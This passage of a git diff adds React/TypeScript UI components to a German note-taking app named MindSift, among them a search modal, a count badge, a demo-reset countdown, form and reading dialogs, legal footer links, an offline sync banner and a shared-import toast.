<input
|
||||||
|
ref={inputRef}
|
||||||
|
type="text"
|
||||||
|
value={query}
|
||||||
|
onChange={(e) => setQuery(e.target.value)}
|
||||||
|
placeholder="Globale Suche in Notizen, Aufgaben und Listen…"
|
||||||
|
className="flex-1 bg-transparent border-0 outline-none text-main placeholder-muted text-base sm:text-sm focus:ring-0 p-0"
|
||||||
|
/>
|
||||||
|
{loading && <Loader2 className="w-4 h-4 animate-spin text-accent shrink-0" />}
|
||||||
|
{query && !loading && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setQuery('');
|
||||||
|
setHits([]);
|
||||||
|
inputRef.current?.focus();
|
||||||
|
}}
|
||||||
|
className="text-muted hover:text-main p-1"
|
||||||
|
title="Eingabe leeren"
|
||||||
|
>
|
||||||
|
<X className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={onClose}
|
||||||
|
className="sm:hidden px-2 py-1 text-xs font-semibold text-accent"
|
||||||
|
>
|
||||||
|
Fertig
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Results Container */}
|
||||||
|
<div className="flex-1 overflow-y-auto p-2 space-y-4 min-h-[160px]">
|
||||||
|
{query.trim() === '' ? (
|
||||||
|
<div className="py-12 px-4 text-center text-xs text-muted space-y-1">
|
||||||
|
<p className="font-semibold text-main">MindSift Globale Suche</p>
|
||||||
|
<p>Tippe ein Stichwort ein, um alle Inhalte in Sekundenschnelle zu durchsuchen.</p>
|
||||||
|
</div>
|
||||||
|
) : flatHits.length === 0 && !loading ? (
|
||||||
|
<div className="py-12 px-4 text-center text-xs text-muted space-y-1">
|
||||||
|
<p className="font-semibold text-main">Keine Treffer gefunden</p>
|
||||||
|
<p>Keine Notizen, Aufgaben oder Listen-Einträge stimmen mit „{query}“ überein.</p>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
groupedHits.map((group) => {
|
||||||
|
const GroupIcon = group.icon;
|
||||||
|
return (
|
||||||
|
<div key={group.key} className="space-y-1">
|
||||||
|
<div className="flex items-center gap-1.5 px-2 py-1 text-[11px] font-bold text-accent uppercase tracking-wider">
|
||||||
|
<GroupIcon className="w-3.5 h-3.5" />
|
||||||
|
<span>{group.label}</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="space-y-1">
|
||||||
|
{group.items.map((item) => {
|
||||||
|
const overallIndex = flatHits.indexOf(item);
|
||||||
|
const isSelected = overallIndex === selectedIndex;
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
key={item.id}
|
||||||
|
onClick={() => executeSelection(item)}
|
||||||
|
onMouseEnter={() => setSelectedIndex(overallIndex)}
|
||||||
|
className={`
|
||||||
|
px-3 py-2.5 rounded-btn flex items-start gap-2.5 transition-colors cursor-pointer border
|
||||||
|
${
|
||||||
|
isSelected
|
||||||
|
? 'bg-panel-elevated border-accent text-main'
|
||||||
|
: 'bg-canvas/50 border-transparent text-main hover:bg-panel-elevated'
|
||||||
|
}
|
||||||
|
`}
|
||||||
|
>
|
||||||
|
<div className="mt-0.5 shrink-0 text-base leading-none">
|
||||||
|
{item.icon || (item.type === 'document' ? '📝' : item.type === 'thought' ? '✅' : '🛒')}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex-1 min-w-0 space-y-0.5">
|
||||||
|
<div className="flex items-center justify-between gap-2">
|
||||||
|
<span className="font-semibold text-xs truncate">
|
||||||
|
{item.title || 'Unbenannt'}
|
||||||
|
</span>
|
||||||
|
{isSelected && (
|
||||||
|
<span className="hidden sm:inline-flex items-center text-[10px] text-accent gap-0.5 shrink-0">
|
||||||
|
<span>Öffnen</span>
|
||||||
|
<CornerDownLeft className="w-3 h-3" />
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{item.snippet && (
|
||||||
|
<div>
|
||||||
|
<SnippetRenderer snippet={item.snippet} />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Footer Shortcut Bar (Desktop) */}
|
||||||
|
<div className="hidden sm:flex items-center justify-between px-4 py-2 bg-canvas/40 border-t border-border text-[11px] text-muted shrink-0">
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<span>
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">↑</kbd>{' '}
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">↓</kbd> Navigieren
|
||||||
|
</span>
|
||||||
|
<span>
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">↵</kbd> Auswählen
|
||||||
|
</span>
|
||||||
|
<span>
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">Esc</kbd> Schließen
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<span>{flatHits.length} Treffer</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
import React from 'react';
|
||||||
|
|
||||||
|
interface CountBadgeProps {
|
||||||
|
count: number | undefined | null;
|
||||||
|
// accent: something waits for you (nav bar); muted: plain amount (tabs, lists)
|
||||||
|
variant?: 'accent' | 'muted';
|
||||||
|
// corner: notification badge on the top right of the nearest `relative` parent
|
||||||
|
position?: 'inline' | 'corner';
|
||||||
|
showZero?: boolean;
|
||||||
|
className?: string; // e.g. to fine-tune the corner offset
|
||||||
|
}
|
||||||
|
|
||||||
|
// Full class names: Tailwind drops component classes it cannot find literally in the source
|
||||||
|
const VARIANT_CLASS = { accent: 'count-badge-accent', muted: 'count-badge-muted' };
|
||||||
|
|
||||||
|
// The one counter of the app (Doku/ui-patterns.md); hides itself at 0 unless showZero
|
||||||
|
export const CountBadge: React.FC<CountBadgeProps> = ({
|
||||||
|
count,
|
||||||
|
variant = 'muted',
|
||||||
|
position = 'inline',
|
||||||
|
showZero = false,
|
||||||
|
className = '',
|
||||||
|
}) => {
|
||||||
|
if (count === undefined || count === null || (count <= 0 && !showZero)) return null;
|
||||||
|
const label = count > 99 ? '99+' : String(count);
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
className={`count-badge ${VARIANT_CLASS[variant]} ${position === 'corner' ? 'count-badge-corner' : ''} ${className}`}
|
||||||
|
aria-label={String(count)}
|
||||||
|
>
|
||||||
|
{label}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
|
||||||
|
interface DemoCountdownProps {
|
||||||
|
deadline: number; // ms timestamp of the next reset, in this browser's clock
|
||||||
|
minutes?: number;
|
||||||
|
className?: string;
|
||||||
|
onElapsed?: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const fmt = (ms: number) => {
|
||||||
|
const total = Math.max(0, Math.round(ms / 1000));
|
||||||
|
return `${String(Math.floor(total / 60)).padStart(2, '0')}:${String(total % 60).padStart(2, '0')}`;
|
||||||
|
};
|
||||||
|
|
||||||
|
// "✨ Demo · Reset in MM:SS" in place of the version under the app name while the demo mode resets itself
|
||||||
|
export const DemoCountdown: React.FC<DemoCountdownProps> = ({ deadline, minutes, className = '', onElapsed }) => {
|
||||||
|
const [now, setNow] = useState(() => Date.now());
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const timer = window.setInterval(() => setNow(Date.now()), 1000);
|
||||||
|
return () => window.clearInterval(timer);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const left = deadline - now;
|
||||||
|
useEffect(() => {
|
||||||
|
if (left <= 0) onElapsed?.();
|
||||||
|
// Runs when the deadline passes, not on every tick
|
||||||
|
}, [left <= 0, deadline]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
className={`font-mono leading-tight text-accent ${className}`}
|
||||||
|
title={`Diese Test-Instanz wird alle ${minutes || 20} Minuten automatisch auf den Ausgangszustand zurückgesetzt.`}
|
||||||
|
>
|
||||||
|
✨ Demo · {left > 0 ? `Reset in ${fmt(left)}` : 'wird zurückgesetzt…'}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
import React, { useEffect } from 'react';
|
||||||
|
import { X } from 'lucide-react';
|
||||||
|
import { useKeyboardInset } from '../lib/useKeyboardInset';
|
||||||
|
|
||||||
|
interface FormSheetProps {
|
||||||
|
title: string;
|
||||||
|
icon?: React.ReactNode;
|
||||||
|
onClose: () => void;
|
||||||
|
onSubmit: (e: React.FormEvent) => void;
|
||||||
|
children: React.ReactNode; // the fields
|
||||||
|
submitLabel?: string;
|
||||||
|
danger?: boolean; // red submit button for destructive actions
|
||||||
|
busy?: boolean;
|
||||||
|
// Desktop only: open next to the click instead of centred
|
||||||
|
anchor?: { x: number; y: number } | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Small create/rename dialogs. Phone: bottom sheet directly above the keyboard, full width, large
|
||||||
|
// fields, square at the bottom with only a top border (like the other sheets: it docks to the keyboard
|
||||||
|
// even with a rounded theme, whose panel-surface would round all corners). Desktop: centred dialog (or next to the click). Escape and the backdrop close it.
|
||||||
|
export const FormSheet: React.FC<FormSheetProps> = ({
|
||||||
|
title,
|
||||||
|
icon,
|
||||||
|
onClose,
|
||||||
|
onSubmit,
|
||||||
|
children,
|
||||||
|
submitLabel = 'Erstellen',
|
||||||
|
anchor,
|
||||||
|
danger = false,
|
||||||
|
busy = false,
|
||||||
|
}) => {
|
||||||
|
const { inset, visibleHeight } = useKeyboardInset();
|
||||||
|
useEffect(() => {
|
||||||
|
const onKey = (e: KeyboardEvent) => e.key === 'Escape' && onClose();
|
||||||
|
window.addEventListener('keydown', onKey);
|
||||||
|
return () => window.removeEventListener('keydown', onKey);
|
||||||
|
}, [onClose]);
|
||||||
|
|
||||||
|
const desktopAnchor = anchor
|
||||||
|
? ({
|
||||||
|
'--sheet-left': `${anchor.x}px`,
|
||||||
|
'--sheet-top': `${anchor.y}px`,
|
||||||
|
'--sheet-x': `clamp(12px, calc(${anchor.x}px - 8.25rem), calc(100vw - 16.5rem - 12px))`,
|
||||||
|
'--sheet-y': `calc(${anchor.y}px + 8px)`,
|
||||||
|
} as React.CSSProperties)
|
||||||
|
: undefined;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="fixed inset-0 !m-0 z-50 modal-overlay" onClick={onClose}>
|
||||||
|
<form
|
||||||
|
onSubmit={onSubmit}
|
||||||
|
onClick={(e) => e.stopPropagation()}
|
||||||
|
style={
|
||||||
|
{
|
||||||
|
...desktopAnchor,
|
||||||
|
'--kb-inset': `${inset}px`,
|
||||||
|
'--vv-max': visibleHeight ? `${visibleHeight - 16}px` : '85vh',
|
||||||
|
} as React.CSSProperties
|
||||||
|
}
|
||||||
|
className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl rounded-b-none border-x-0 border-b-0 border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto
|
||||||
|
sm:inset-x-auto sm:bottom-auto sm:max-h-[85vh] sm:w-full sm:rounded-card sm:border ${
|
||||||
|
anchor
|
||||||
|
? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-x)] sm:top-[var(--sheet-y)]'
|
||||||
|
: 'sm:max-w-sm sm:left-1/2 sm:top-1/2 sm:-translate-x-1/2 sm:-translate-y-1/2'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<div className="w-10 h-1 bg-border rounded-full mx-auto sm:hidden" aria-hidden="true" />
|
||||||
|
<div className="flex items-center justify-between gap-2">
|
||||||
|
<h3 className="text-sm font-semibold text-main flex items-center gap-1.5 min-w-0">
|
||||||
|
{icon}
|
||||||
|
<span className="truncate">{title}</span>
|
||||||
|
</h3>
|
||||||
|
<button type="button" onClick={onClose} className="w-11 h-11 sm:w-7 sm:h-7 -mr-2 sm:mr-0 flex items-center justify-center text-muted hover:text-main" title="Schließen">
|
||||||
|
<X className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
{children}
|
||||||
|
<div className="flex gap-2 pt-1 sm:justify-end">
|
||||||
|
<button type="button" onClick={onClose} className="btn-action flex-1 sm:flex-none h-11 sm:h-8 px-3 text-sm sm:text-xs">
|
||||||
|
Abbrechen
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={busy}
|
||||||
|
className={`${danger ? 'btn-danger' : 'btn-primary'} flex-1 sm:flex-none h-11 sm:h-8 px-4 text-sm sm:text-xs font-semibold disabled:opacity-50`}
|
||||||
|
>
|
||||||
|
{submitLabel}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
{/* keeps the buttons clear of the home indicator when no keyboard is open */}
|
||||||
|
<div className="sm:hidden" style={{ height: inset ? 0 : 'env(safe-area-inset-bottom, 0px)' }} />
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
import React, { useState } from 'react';
|
||||||
|
import { AuthStatus } from '../lib/types';
|
||||||
|
import { api } from '../lib/api';
|
||||||
|
import { MarkdownViewer } from '../lib/markdown';
|
||||||
|
import { ReadingModal } from './ReadingModal';
|
||||||
|
import { safeHref } from '../lib/safeUrl';
|
||||||
|
|
||||||
|
type LegalType = 'imprint' | 'privacy';
|
||||||
|
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
|
||||||
|
|
||||||
|
interface LegalLinksProps {
|
||||||
|
legal?: AuthStatus['legal'];
|
||||||
|
className?: string;
|
||||||
|
children?: React.ReactNode; // further footer links, e.g. "Über MindSift"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Impressum / Datenschutz links: an external URL opens in a new tab, Markdown in a reading modal.
|
||||||
|
// Links without URL or text are not shown at all.
|
||||||
|
export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', children }) => {
|
||||||
|
const [open, setOpen] = useState<{ type: LegalType; content: string } | null>(null);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const entries = (['imprint', 'privacy'] as LegalType[])
|
||||||
|
.map((type) => ({
|
||||||
|
type,
|
||||||
|
url: type === 'imprint' ? legal?.imprintUrl : legal?.privacyUrl,
|
||||||
|
hasContent: type === 'imprint' ? legal?.hasImprintContent : legal?.hasPrivacyContent,
|
||||||
|
}))
|
||||||
|
.filter((e) => e.url || e.hasContent);
|
||||||
|
|
||||||
|
const customHref = legal?.customLinkUrl && safeHref(legal.customLinkUrl);
|
||||||
|
|
||||||
|
if (entries.length === 0 && !children && !customHref) return null;
|
||||||
|
|
||||||
|
const openText = async (type: LegalType) => {
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setOpen({ type, content: await api.getLegalText(type) });
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Text konnte nicht geladen werden');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
|
||||||
|
{entries.map((e) =>
|
||||||
|
e.url && safeHref(e.url) ? (
|
||||||
|
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
||||||
|
{TITLES[e.type]}
|
||||||
|
</a>
|
||||||
|
) : (
|
||||||
|
<button key={e.type} type="button" onClick={() => openText(e.type)} className="hover:text-main underline-offset-2 hover:underline">
|
||||||
|
{TITLES[e.type]}
|
||||||
|
</button>
|
||||||
|
)
|
||||||
|
)}
|
||||||
|
{customHref && (
|
||||||
|
<a
|
||||||
|
href={customHref as string}
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="hover:text-main underline-offset-2 hover:underline"
|
||||||
|
>
|
||||||
|
{legal?.customLinkLabel || legal?.customLinkUrl}
|
||||||
|
</a>
|
||||||
|
)}
|
||||||
|
{children}
|
||||||
|
{error && <span className="text-status-err">{error}</span>}
|
||||||
|
{open && (
|
||||||
|
<ReadingModal title={TITLES[open.type]} onClose={() => setOpen(null)}>
|
||||||
|
<MarkdownViewer content={open.content} />
|
||||||
|
</ReadingModal>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -2,6 +2,7 @@ import React from 'react';
|
|||||||
import { Check, X } from 'lucide-react';
|
import { Check, X } from 'lucide-react';
|
||||||
import { useMobileActions } from '../context/MobileActionContext';
|
import { useMobileActions } from '../context/MobileActionContext';
|
||||||
import { triggerHaptic } from '../lib/api';
|
import { triggerHaptic } from '../lib/api';
|
||||||
|
import { CountBadge } from './CountBadge';
|
||||||
|
|
||||||
interface MobileHeaderMenuProps {
|
interface MobileHeaderMenuProps {
|
||||||
activeTabLabel: string;
|
activeTabLabel: string;
|
||||||
@@ -109,7 +110,9 @@ export const MobileHeaderMenu: React.FC<MobileHeaderMenuProps> = ({ activeTabLab
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex items-center gap-2 flex-shrink-0">
|
<div className="flex items-center gap-2 flex-shrink-0">
|
||||||
{item.badge !== undefined && item.badge !== '' && (
|
{typeof item.badge === 'number' && !isAccent ? (
|
||||||
|
<CountBadge count={item.badge} showZero variant={isActive ? 'accent' : 'muted'} />
|
||||||
|
) : item.badge !== undefined && item.badge !== '' && (
|
||||||
<span
|
<span
|
||||||
className={`px-2 py-0.5 rounded-full text-xs font-mono font-semibold ${
|
className={`px-2 py-0.5 rounded-full text-xs font-mono font-semibold ${
|
||||||
isAccent
|
isAccent
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { CloudOff, RefreshCw } from 'lucide-react';
|
||||||
|
import { outboxCount } from '../lib/offline';
|
||||||
|
|
||||||
|
// Small notice above the bottom navigation: offline (with the number of changes waiting), or
|
||||||
|
// "synchronisiere" while queued changes are being sent after the connection came back.
|
||||||
|
export const OfflineBanner: React.FC = () => {
|
||||||
|
const [online, setOnline] = useState(() => (typeof navigator === 'undefined' ? true : navigator.onLine));
|
||||||
|
const [pending, setPending] = useState(() => outboxCount());
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const update = () => {
|
||||||
|
setOnline(navigator.onLine);
|
||||||
|
setPending(outboxCount());
|
||||||
|
};
|
||||||
|
window.addEventListener('online', update);
|
||||||
|
window.addEventListener('offline', update);
|
||||||
|
window.addEventListener('mindsift:outbox-changed', update);
|
||||||
|
window.addEventListener('storage', update);
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener('online', update);
|
||||||
|
window.removeEventListener('offline', update);
|
||||||
|
window.removeEventListener('mindsift:outbox-changed', update);
|
||||||
|
window.removeEventListener('storage', update);
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
if (online && pending === 0) return null;
|
||||||
|
|
||||||
|
const waiting = `${pending} ${pending === 1 ? 'Änderung wartet' : 'Änderungen warten'}`;
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
role="status"
|
||||||
|
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] max-w-[calc(100vw-1.5rem)] px-3 py-1.5 rounded-full border text-[11px] font-medium shadow-panel flex items-center gap-1.5 bg-panel-elevated border-status-warn/40 text-main"
|
||||||
|
>
|
||||||
|
{online ? (
|
||||||
|
<RefreshCw className="w-3.5 h-3.5 text-accent animate-spin shrink-0" />
|
||||||
|
) : (
|
||||||
|
<CloudOff className="w-3.5 h-3.5 text-status-warn shrink-0" />
|
||||||
|
)}
|
||||||
|
<span className="truncate">
|
||||||
|
{online
|
||||||
|
? `Synchronisiere – ${waiting}…`
|
||||||
|
: pending > 0
|
||||||
|
? `Offline · ${waiting} auf Verbindung`
|
||||||
|
: 'Offline – Änderungen werden bei Verbindung synchronisiert'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
import React, { useEffect } from 'react';
|
||||||
|
import { X } from 'lucide-react';
|
||||||
|
|
||||||
|
interface ReadingModalProps {
|
||||||
|
title: string;
|
||||||
|
onClose: () => void;
|
||||||
|
children: React.ReactNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Slim modal for reading text (legal notices, about); Escape or backdrop click closes it
|
||||||
|
export const ReadingModal: React.FC<ReadingModalProps> = ({ title, onClose, children }) => {
|
||||||
|
useEffect(() => {
|
||||||
|
const onKey = (e: KeyboardEvent) => e.key === 'Escape' && onClose();
|
||||||
|
window.addEventListener('keydown', onKey);
|
||||||
|
return () => window.removeEventListener('keydown', onKey);
|
||||||
|
}, [onClose]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="fixed inset-0 z-50 flex items-center justify-center p-4 bg-black/60 backdrop-blur-xs"
|
||||||
|
onClick={(e) => e.target === e.currentTarget && onClose()}
|
||||||
|
role="dialog"
|
||||||
|
aria-modal="true"
|
||||||
|
aria-label={title}
|
||||||
|
>
|
||||||
|
<div className="panel-surface w-full max-w-2xl max-h-[85vh] flex flex-col shadow-panel">
|
||||||
|
<div className="flex items-center justify-between px-4 py-3 border-b border-border">
|
||||||
|
<h2 className="text-sm font-bold text-main">{title}</h2>
|
||||||
|
<button type="button" onClick={onClose} className="btn-icon" title="Schließen">
|
||||||
|
<X className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div className="p-4 overflow-y-auto text-sm text-main">{children}</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { ArrowRight, CheckSquare, Inbox, ShoppingCart, X } from 'lucide-react';
|
||||||
|
import { api, triggerHaptic } from '../lib/api';
|
||||||
|
import type { SharedList } from '../lib/types';
|
||||||
|
|
||||||
|
// After sharing from another app: the items are already in the Quick Dump (nothing to tap), and for a
|
||||||
|
// few seconds they can be sent on as a task or onto a list instead – one tap, the flow stays as fast.
|
||||||
|
const AUTO_HIDE_MS = 8000;
|
||||||
|
|
||||||
|
interface SharedImportToastProps {
|
||||||
|
thoughtIds: string[]; // created on the server (offline captures have no id yet and get no buttons)
|
||||||
|
lists: SharedList[];
|
||||||
|
onClose: () => void;
|
||||||
|
onConverted: (message: string) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const SharedImportToast: React.FC<SharedImportToastProps> = ({ thoughtIds, lists, onClose, onConverted }) => {
|
||||||
|
const [choosingList, setChoosingList] = useState(false);
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
const [failed, setFailed] = useState(false);
|
||||||
|
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
|
||||||
|
const count = thoughtIds.length;
|
||||||
|
|
||||||
|
// Disappears on its own unless a list is being picked or a conversion runs
|
||||||
|
useEffect(() => {
|
||||||
|
if (choosingList || busy) return;
|
||||||
|
const timer = window.setTimeout(onClose, AUTO_HIDE_MS);
|
||||||
|
return () => window.clearTimeout(timer);
|
||||||
|
}, [choosingList, busy, onClose]);
|
||||||
|
|
||||||
|
const convert = async (convertTo: 'task' | 'list_item', list?: SharedList) => {
|
||||||
|
triggerHaptic(15);
|
||||||
|
setBusy(true);
|
||||||
|
setFailed(false);
|
||||||
|
try {
|
||||||
|
for (const id of thoughtIds) {
|
||||||
|
await api.triageAction(id, 'keep', { convertTo, targetListId: list?.id });
|
||||||
|
}
|
||||||
|
const what = count === 1 ? 'Eintrag' : `${count} Einträge`;
|
||||||
|
onConverted(convertTo === 'task' ? `${count === 1 ? 'Als Aufgabe' : `${count} Aufgaben`} angelegt` : `${what} auf „${list?.title}“`);
|
||||||
|
} catch {
|
||||||
|
setFailed(true);
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const toList = () => {
|
||||||
|
if (writableLists.length === 1) convert('list_item', writableLists[0]);
|
||||||
|
else setChoosingList(true);
|
||||||
|
};
|
||||||
|
|
||||||
|
const big =
|
||||||
|
'min-h-[52px] px-3 py-2 rounded-xl text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98 disabled:opacity-50';
|
||||||
|
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
{/* Tapping anywhere else closes it (transparent, the page stays visible) */}
|
||||||
|
<div className="fixed inset-0 z-[59]" onClick={onClose} aria-hidden />
|
||||||
|
<div
|
||||||
|
role="status"
|
||||||
|
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] w-[calc(100vw-1.5rem)] max-w-md panel-surface shadow-panel overflow-hidden p-4 space-y-3 animate-in fade-in slide-in-from-bottom-2 duration-200"
|
||||||
|
>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={onClose}
|
||||||
|
aria-label="Schließen"
|
||||||
|
className="absolute top-2 right-2 h-8 w-8 flex items-center justify-center rounded-btn text-faint hover:text-main"
|
||||||
|
>
|
||||||
|
<X className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
<div className="pr-8">
|
||||||
|
<p className="flex items-center gap-2 text-base font-semibold text-main">
|
||||||
|
<Inbox className="w-5 h-5 text-accent shrink-0" />
|
||||||
|
{count === 1 ? 'Im Quick Dump abgelegt' : `${count} Einträge im Quick Dump abgelegt`}
|
||||||
|
</p>
|
||||||
|
<p className="text-xs text-muted mt-1">
|
||||||
|
{choosingList ? 'Auf welche Liste?' : 'Oder gleich woanders hin:'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{failed && <p className="text-xs text-status-err">Umwandeln hat nicht geklappt – der Eintrag bleibt im Quick Dump.</p>}
|
||||||
|
|
||||||
|
{!choosingList ? (
|
||||||
|
<div className={`grid gap-2 ${writableLists.length > 0 ? 'grid-cols-2' : 'grid-cols-1'}`}>
|
||||||
|
{writableLists.length > 0 && (
|
||||||
|
<button type="button" disabled={busy} onClick={toList} className={`${big} bg-canvas border border-border text-main`}>
|
||||||
|
<ShoppingCart className="w-4 h-4 text-accent" />
|
||||||
|
<span>Liste</span>
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
<button type="button" disabled={busy} onClick={() => convert('task')} className={`${big} bg-accent text-on-accent`}>
|
||||||
|
<CheckSquare className="w-4 h-4" />
|
||||||
|
<span>Aufgabe</span>
|
||||||
|
<ArrowRight className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="grid grid-cols-2 gap-2">
|
||||||
|
{writableLists.map((l) => (
|
||||||
|
<button
|
||||||
|
key={l.id}
|
||||||
|
type="button"
|
||||||
|
disabled={busy}
|
||||||
|
onClick={() => convert('list_item', l)}
|
||||||
|
className={`${big} bg-canvas border border-border text-main`}
|
||||||
|
>
|
||||||
|
<span>{l.icon}</span>
|
||||||
|
<span className="truncate">{l.title}</span>
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
import React, { useState } from 'react';
|
||||||
|
import { Monitor, Moon, Sun } from 'lucide-react';
|
||||||
|
import {
|
||||||
|
AVAILABLE_THEMES,
|
||||||
|
getFollowSystem,
|
||||||
|
resolveTheme,
|
||||||
|
setFollowSystem,
|
||||||
|
THEME_FAMILIES,
|
||||||
|
ThemeId,
|
||||||
|
ThemeOption,
|
||||||
|
} from '../lib/theme';
|
||||||
|
|
||||||
|
interface ThemeQuickPickerProps {
|
||||||
|
activeTheme: ThemeId;
|
||||||
|
/** All themes including the user's own (shown as small chips) */
|
||||||
|
themes: ThemeOption[];
|
||||||
|
onChange: (id: ThemeId) => void;
|
||||||
|
/** Bigger touch targets in the phone sheet */
|
||||||
|
touch?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Compact switcher for the user menu: one dot per colour family plus light/dark; own themes below
|
||||||
|
export const ThemeQuickPicker: React.FC<ThemeQuickPickerProps> = ({ activeTheme, themes, onChange, touch = false }) => {
|
||||||
|
const active = AVAILABLE_THEMES.find((t) => t.id === activeTheme);
|
||||||
|
const mode = active?.mode ?? 'dark';
|
||||||
|
const customThemes = themes.filter((t) => t.isCustom);
|
||||||
|
const dot = touch ? 'w-9 h-9' : 'w-7 h-7';
|
||||||
|
// Kept in state: choosing "System" may not change the theme, but the selection must still show
|
||||||
|
const [followSystem, setFollow] = useState(getFollowSystem);
|
||||||
|
const pick = (id: ThemeId) => onChange(resolveTheme(id));
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="space-y-2">
|
||||||
|
<div className="flex items-center justify-between gap-1">
|
||||||
|
<div className="flex w-full items-center justify-between" role="radiogroup" aria-label="Farbfamilie">
|
||||||
|
{THEME_FAMILIES.map((f) => {
|
||||||
|
